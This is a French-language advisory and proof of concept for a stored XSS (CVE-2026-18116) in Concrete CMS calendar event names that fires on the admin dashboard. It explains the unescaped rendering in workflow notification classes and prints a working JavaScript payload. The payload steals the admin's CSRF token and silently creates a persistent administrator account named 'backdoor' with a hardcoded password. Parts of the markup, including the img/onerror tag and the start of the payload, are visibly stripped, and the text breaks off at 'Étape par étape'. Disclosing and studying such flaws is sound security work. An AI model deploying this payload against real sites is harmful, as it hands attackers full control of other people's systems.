
Preuve de concept pour CVE-2026-18116, une XSS stockée dans les noms d'événements de calendrier de Concrete CMS qui s'exécute dans le tableau de bord d'administration et crée un compte administrateur dérobé.
XSS stocké via le nom d'un événement de calendrier menant à la prise de contrôle d'un compte administrateur dans Concrete CMS
| Produit | Concrete CMS |
| Versions affectées | 8.3.0 à 9.5.2 |
| Version corrigée | 9.5.3 |
| Gravité | ÉLEVÉE (CVSS v4.0 7.3) |
| CWE | CWE-79 : Neutralisation incorrecte de l'entrée lors de la génération de pages web |
| CVE | CVE-2026-18116 |
Les noms d'événements de calendrier dans Concrete CMS sont stockés sans assainissement et rendus sans échappement HTML dans les notifications d'approbation de workflow. Ces notifications apparaissent dans le bloc de tableau de bord « Waiting For Me », présent par défaut sur le tableau de bord de chaque administrateur.
Sur tout site Concrete CMS où des utilisateurs non administrateurs peuvent soumettre des événements de calendrier (une configuration standard de calendrier communautaire), un utilisateur enregistré peut injecter du JavaScript qui s'exécute dans le navigateur de l'administrateur la prochaine fois que celui-ci ouvre son tableau de bord. L'administrateur n'a pas besoin de cliquer sur l'événement ni d'interagir de quelque manière que ce soit avec la charge utile. Le simple chargement du tableau de bord suffit à la déclencher.
La charge utile extrait le jeton CSRF de l'administrateur et crée silencieusement un compte administrateur de porte dérobée persistant, réalisant ainsi une prise de contrôle complète du compte sans aucun indicateur visible.
document.cookie ne fonctionne pas iciConcrete CMS définit l'attribut HttpOnly sur les cookies de session, ce qui empêche JavaScript de les lire via document.cookie. Le détournement direct de session n'est pas possible.
Cependant, HttpOnly n'empêche pas le XSS d'effectuer des actions authentifiées. Le JavaScript malveillant s'exécute à l'intérieur de la session du navigateur de l'administrateur, de sorte que chaque appel fetch() qu'il effectue transporte automatiquement le cookie de session. La charge utile exploite cela pour interagir directement avec le panneau d'administration : elle récupère la page de création d'utilisateur, extrait un jeton CSRF valide depuis le DOM de la réponse, et soumet une requête POST pour créer un nouveau compte administrateur. Le navigateur attache le cookie HttpOnly à chaque requête sans que le script n'ait jamais besoin de le lire.
Cela rend HttpOnly sans pertinence en tant que défense ici. L'attaquant n'a pas besoin du cookie de session. Il a besoin de la session, et il l'a déjà.
Le bloc « Waiting For Me » rend le nom de l'événement à l'intérieur de la description de la notification d'approbation. Le texte de la notification est généré côté serveur par ApproveCalendarEventRequest.php, qui injecte le nom brut de l'événement dans une balise d'ancrage :
'<a href="' . $url . '">' . $v->getName() . '</a>'
Comme le nom de l'événement est une balise `` avec un gestionnaire onerror, le navigateur l'interprète comme du HTML plutôt que de l'afficher comme du texte. Ce que l'administrateur voit dans son tableau de bord est :
Le XSS se déclenche sur onerror car la source de l'image (src=x) ne parvient pas à se charger. Cela se produit instantanément et silencieusement avant que l'administrateur ait la moindre chance d'inspecter le contenu. Même si l'administrateur clique sur « View Requested Version » pour examiner l'événement, la charge utile s'est déjà exécutée.
Attacker (registered user) Concrete CMS Admin (victim)
| | |
| Create calendar event | |
| name: | |
| click "Publish Event" | |
|------------------------------>| |
| | |
| Event queued for approval | |
|<------------------------------| |
| | |
| | Admin opens Dashboard|
| |<-----------------------|
| | |
| | "Waiting For Me" |
| | renders event name |
| | as raw HTML |
| |----------------------->|
| | |
| | XSS fires silently: |
| | 1. GET /users/add |
| | 2. Extract CSRF token|
| | 3. POST /users/add |
| | create admin user |
| |<-----------------------|
| | |
| Login as backdoor | |
|------------------------------>| |
| Full admin access | |
|<------------------------------| |
Stockage : le nom de l'événement est enregistré sans aucune désinfection.
controllers/dialog/event/edit.php:142
$eventVersion->setName($this->request->request->get('name'));
Notification de workflow : le nom est injecté dans le HTML sans la fonction d'échappement h().
src/Workflow/Request/ApproveCalendarEventRequest.php:75
$d->setDescription(t(
'New Event: %s',
'<a href="' . $url . '">' . $v->getName() . '</a>' // no h()
));
src/Workflow/Request/DeleteCalendarEventRequest.php:33
$d->setDescription(t("%s submitted for Deletion.", $v->getName())); // no h()
Render sink : la description de la notification est affichée en HTML brut.
elements/notification/list/details.php:11
<?php print $listView->getActionDescription() ?>
Le développeur était conscient du risque. UnapproveCalendarEventRequest.php utilise correctement h($event->getName()) pour le même champ. Les deux autres classes de requête de workflow l'ont manqué.
La charge utile minifiée transmise dans le champ du nom de l'événement :
r.text()).then(h=>{
let d=new DOMParser().parseFromString(h,'text/html');
let t=d.querySelector('input[name=ccm_token]').value;
let f=new URLSearchParams();
f.set('uName','backdoor');
f.set('uPassword','Backdoor@2026!');
f.set('uPasswordConfirm','Backdoor@2026!');
f.set('uEmail','[email protected]');
f.set('gID[]','3');
f.set('uHomeFileManagerFolderID','0');
f.set('ccm_token',t);
fetch('/index.php/dashboard/users/add/submit',
{method:'POST',body:f})
})">
Étape par étape :